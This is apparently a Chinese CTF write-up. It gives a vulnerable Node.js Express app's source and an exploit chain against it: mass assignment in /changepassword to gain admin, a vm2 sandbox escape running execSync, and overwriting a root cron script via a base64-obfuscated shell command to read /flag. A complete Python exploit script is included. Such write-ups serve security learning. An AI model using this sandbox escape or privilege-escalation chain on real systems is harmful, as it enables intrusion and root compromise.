下载源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
const express = require('express');
const path = require('path');
const session = require('express-session');
const { VM } = require('vm2');
const app = express();

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

// Session 配置
app.use(session({
secret: 'random',
resave: false,
saveUninitialized: false,
cookie: {
maxAge: 3600000, // 1小时
httpOnly: true
}
}));

const users = {};

function merge(target, source) {
for (let key in source) {
if (key === '__proto__') continue;
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

// 首页
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

// 注册
app.post('/register', (req, res) => {
const { username, password } = req.body;

if (!username || !password) {
return res.json({ error: '用户名和密码不能为空' });
}

if (users[username]) {
return res.json({ error: '用户已存在' });
}

users[username] = { username, password };
res.json({ message: '注册成功,请登录' });
});

// 登录
app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = users[username];

if (!user || user.password !== password) {
return res.json({ error: '用户名或密码错误' });
}

req.session.user = { username: user.username };
res.json({
message: '登录成功',
user: {
username: user.username,
isAdmin: user.isAdmin
}
});
});

// 退出登录
app.post('/logout', (req, res) => {
req.session.destroy((err) => {
if (err) {
return res.json({ error: '退出失败' });
}
res.json({ message: '已退出登录' });
});
});

// 修改密码
app.post('/changepassword', (req, res) => {
if (!req.session.user) return res.json({ error: '请先登录' });

const username = req.session.user.username;
const user = users[username];

const { oldPassword, newPassword, confirmPassword } = req.body;

// 验证旧密码
if (user.password !== oldPassword) {
return res.json({ error: '旧密码错误' });
}

// 验证新密码
if (newPassword !== confirmPassword) {
return res.json({ error: '两次密码不一致' });
}

merge(user, req.body);
user.password = newPassword;

res.json({ message: '密码修改成功' });
});

// 用户信息(检查登录状态)
app.get('/me', (req, res) => {
if (!req.session.user) return res.json({ error: '请先登录' });

const username = req.session.user.username;
const user = users[username];

res.json({
username: user.username,
isAdmin: user.isAdmin
});
});

// 管理员面板
app.get('/admin', (req, res) => {
if (!req.session.user) return res.json({ error: '请先登录' });

const username = req.session.user.username;
const user = users[username];

if (user.isAdmin === true) {
res.json({
message: '欢迎管理员!',
});
} else {
res.json({ error: '需要管理员权限' });
}
});

app.post('/sandbox', async (req, res) => {
if (!req.session.user) return res.json({ error: '请先登录' });

const username = req.session.user.username;
const user = users[username];

if (user.isAdmin !== true) {
return res.json({ error: '需要管理员权限' });
}

const { code } = req.body;
if (!code) return res.json({ error: '请提供代码' });

try {
const sandboxResult = { value: null };

const vm = new VM({
timeout: 5000,
sandbox: { __result: sandboxResult }
});

const result = vm.run(code);

await new Promise(resolve => setTimeout(resolve, 500));

res.json({
result: result?.toString() || '执行成功',
output: sandboxResult.value
});
} catch (error) {
res.json({ error: error.message });
}
});

app.listen(3000, () => {
console.log('Server running on port 3000');
});

很明显,/changepassword存在原型链污染,正常注册的用户没有admin权限,但是在/sandbox路由执行命令需要admin权限,利用原型链污染,为当前用户赋上admin权限

1
2
3
4
5
6
7
8
9
10
11
def get_admin():
payload = {
"oldPassword":"123456",
"newPassword":"123456",
"confirmPassword":"123456",
"isAdmin": True
}

res = r_session.post(url+"/changepassword", json = payload)

print(res.text)

获取admin权限后,在/sandbox可以执行命令,但是需要绕过vm2沙箱,存在CVE-2026-22709,原始poc为:

1
2
3
4
5
6
7
8
9
10
11
12
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('whoami', { stdio: 'inherit' })"
);
f();
});

但这样执行无回显,观察源码,存在静态文件目录/static,可以将命令执行结果写入/app/public目录以回显

执行ls -l / > /app/public/1得到结果

/flag权限不足无法直接读取,但是注意到/backup.sh,下载文件内容为:

是一个备份工具,所有权为root,大概率为root用户定期执行的脚本,尝试替换内容为cat /flag > /app/public/flag用于读取flag

执行命令为echo ZWNobyAiY2F0IC9mbGFnID4gL2FwcC9wdWJsaWMvZmxhZyIgPiAvYmFja3VwLnNo | base64 -d | sh

等待一会访问/app/public/flag获取flag

主要exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests

url = "http://87b54468-2c1b-421d-9d98-ff40920b18e7.73.dart.ccsssc.com"

r_session = requests.session()

data = {
"username": "BR",
"password": "123456"
}
res = r_session.post(url+"/register", json=data)
res = r_session.post(url+"/login", json=data)


def get_admin():
payload = {
"oldPassword":"123456",
"newPassword":"123456",
"confirmPassword":"123456",
"isAdmin": True
}

res = r_session.post(url+"/changepassword", json = payload)

print(res.text)


def rce():
payload = """
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo ZWNobyAiY2F0IC9mbGFnID4gL2FwcC9wdWJsaWMvZmxhZyIgPiAvYmFja3VwLnNo | base64 -d | sh', { stdio: 'inherit' })"
);
f();
});
"""

exp = {
"code": payload.strip()
}

res = r_session.post(url+"/sandbox", json=exp)

print(res.text)

if __name__ == "__main__":
get_admin()
rce()